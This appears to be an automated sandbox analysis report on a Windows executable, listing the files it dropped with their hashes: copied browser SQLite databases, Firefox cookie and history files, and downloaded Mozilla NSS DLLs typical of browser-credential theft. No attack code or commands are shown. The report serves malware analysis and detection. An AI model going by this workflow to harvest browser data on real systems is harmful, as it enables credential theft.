Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEGHIJEHJDHIDHIDAEHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\AFCBFIJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHCGIDHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCGIJKJJKEBGHJKFIDGCAAFCAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCFCFCGCGIEHIECAFCFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJJDAEGIDHCBFHJJJEGIJDBGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEGHJKFHJJJKJJJJKEHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJJJDHDGDAAKECAKJDAEGCBKEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Eae0KTw4m1.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: pQdK0IZYsv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Eae0KTw4m1.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: pQdK0IZYsv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947890207560498
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'816'576 bytes
MD5:	b56821701719ae035a199a58d5e3303c
SHA1:	826e1c02f57d75085e51e73ee9a968d74459d1dc
SHA256:	cc4a9ab31e260f747025500a43e30c44855519fbc3d5e4ee499d34278f781acb
SHA512:	3f42412e630727e7ff2677830b26674045f034c4ad08518009493e01fb72b6a58931050e8b87d890e70d6340365c1a432ddb17fb958e673ebb66819f94c78c1a
SSDEEP:	49152:JN1WvBIVlkBx2G9VY+7ErIQ78GzFskQG:JNkpIVl+B92gOIu3zSG
TLSH:	8C8533B41D90F69ECD9AFDF10CB2730A7439D5875F29BB1A8C9125261E11C2F7A68C4C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

